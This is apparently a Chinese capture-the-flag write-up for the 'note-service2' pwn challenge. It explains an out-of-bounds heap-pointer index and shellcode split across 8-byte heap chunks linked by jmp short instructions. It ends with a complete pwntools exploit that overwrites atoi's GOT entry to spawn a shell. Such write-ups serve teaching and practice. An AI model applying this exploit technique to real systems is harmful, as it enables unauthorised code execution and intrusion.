攻防世界PWN之note-service2题解
note-service2
首先看一下程序的保护机制,注意,PIE是开启的,这个checksec检测PIE有时候不准确。不过,我们看到NX是关闭的,说明堆栈的数据可以被当做指令执行
然后,我们用IDA分析一下,发现是一个很简单程序,并且只有添加和删除功能,其他功能未实现
创建这里,有三处值得我们注意
- 创建的堆空间大小最多为8字节
- 保存堆指针的数组下标可以越界
既然数组下标可以越界,那么我们就可以把任意的地方的8字节数据写成新建的堆的地址指针
那么,通过数组越界,我们可以把一些函数的GOT表内容修改为堆指针,由于程序NX保护是关闭的,那么堆栈里的数据也可以当成指令执行。那么我们在堆里布置shellcode即可
有一点需要注意的是,我们的堆空间最多为8字节,并且我们最多向里面输入7字节数据
而我们的shellcode最少也要十几字节,因此,我们把shellcode分开,存储到多个堆里,然后在每个堆的最后2字节空间,填上jmp short xxxx指令,让它跳转到下一个堆里去执行代码。
Jmp short xxxx指令占用2字节,并且,这条指令使用的是相对当前代码位置寻址, 为了发现规律,我们找几个现成的指令看看
看看它们的十六进制
首先,我们计算第一个看看
0xE94 + 0x3B = 0xECF
0xEA0 + 0x2F = 0xECF
结果与目标地址还差2,因此,我们推断jmp short xxx中的xxx计算公式
xxx = 目标地址-当前地址-2
经过试验和查阅资料,发现确实如此。
由于我们创建堆的时候是按顺序创建下来的,并且期间没有进行删除操作,我们的堆统一为8字节(根据64位堆的数据结构,至少保证有prev_size、size、fd、bk的空间,实际上的大小为8 align to 32 = 32字节),并且,使用中的堆块的fd和bk被当成数据区,因此我们的数据是从这里开始的,导致后面还有0x8字节空数据。
Chunk0 |
Prev_size |
0x8字节 |
size |
0x8字节 |
|
0x5字节 xxxx |
Chunk0的数据区0x8字节 |
|
(2字节) Jmp short next |
||
0空数据(1字节) |
||
0x20-8*3 = 0x8字节空数据 |
||
Chunk1 |
Prev_size |
0x8字节 |
Size |
0x8字节 |
|
0x5字节 xxxx |
Chunk1的数据区 |
|
(2字节) Jmp short next |
||
0空数据(1字节) |
||
0x20-8*3 = 0x8字节空数据 |
现在我们想从chunk0的jmp出跳到chunk1的data处执行新代码,那么我们jmp short后面的偏移为
注意那个末尾的1字节0,是输入函数给我们加上的,我们真正只能使用data区的7个字节,也就是我们的每个块里最多放7个字节的指令
Jmp short后面的next值的计算
next = (8 + 8 + 8 + 1 + 2 - 2) = 0x19
现在我们就开始在堆里构造shellcode,我们的目的是在几个堆里构造处这样的代码
- ;64位系统调用
- mov rdi,xxxx;/bin/sh字符串的地址
- mov rax,59;execve的系统调用号
- mov rsi,0;
- mov rdx,0
- syscall
关键是rdi的值,在这里,如果我们将atoi的got表内容指向我们的第一个堆空间
那么当我们下一次输入选项时,我们输入/bin/sh就直接get到了shell
因此,我们决定修改atoi的got表,让它指向我们的第一个堆
但是,修改atoi的GOT表操作必须放到最后一步,因为我们修改atoi的got表后,就不能再做其他功能了,因为输入选项不再有效,想想为什么?
但是,我们又得保证最后创建的那个堆位于其他几个堆的开头,即位于第一个堆,那么就可以先事先创建第一个堆用来占用那个空间,最后的时候delete掉后再申请回来(fastbin特性),通过数组越界把它的指针存到atoi的GOT表里。
那么atoi的GOT表和数组下标的关系是什么呢?
我们的数组的静态地址在这
然后,atoi的GOT表静态地址在这
两者相差0x40字节,0x40 / 8 = 8字节,也就是说,数组下标-8处就是atoi的GOT表
综上,我们的exp脚本如下
- #coding:utf8
- from pwn import *
- sh = process('./pwnh21')
- #sh = remote('111.198.29.45',30061)
- context(os='linux',arch='amd64')
- def create(index,size,content):
- sh.sendlineafter('your choice>>','1')
- sh.sendlineafter('index:',str(index))
- sh.sendlineafter('size:',str(size))
- sh.sendafter('content:',content)
- def delete(index):
- sh.sendlineafter('your choice>>','4')
- sh.sendlineafter('index:',str(index))
- #rax = 0 jmp short next_chunk
- code0 = (asm('xor rax,rax') + '\x90\x90\xeb\x19')
- #rax = 0x3B jmp short next_chunk
- code1= (asm('mov eax,0x3B') + '\xeb\x19')
- #rsi = 0 jmp short next_chunk
- code2 = (asm('xor rsi,rsi') + '\x90\x90\xeb\x19')
- #rdi = 0 jmp short next_chunk
- code3 = (asm('xor rdx,rdx') + '\x90\x90\xeb\x19')
- #系统调用
- code4 = (asm('syscall').ljust(7,'\x90'))
- '''''print len(code0)
- print len(code1)
- print len(code2)
- print len(code3)
- print len(code4)
- '''
- create(0,8,'a'*7)
- create(1,8,code1)
- create(2,8,code2)
- create(3,8,code3)
- create(4,8,code4)
- #删除第一个堆块
- delete(0)
- #把第一个堆块申请回来,存入指令,并且把堆指针赋值给数组的-8下标处(atoi的GOT表处),即修改了atoi的GOT表
- create(-8,8,code0)
- #getshell
- sh.sendlineafter('your choice>>','/bin/sh')
- sh.interactive()
脚本中,某些指令有一些技巧,我们必须腾出2字节用于jmp,而某些指令一条就会占用7字节,因此我们换成其他指令,比如mov rsi,0这条指令,我们换成xor rsi,rsi,就有空间来写jmp指令了。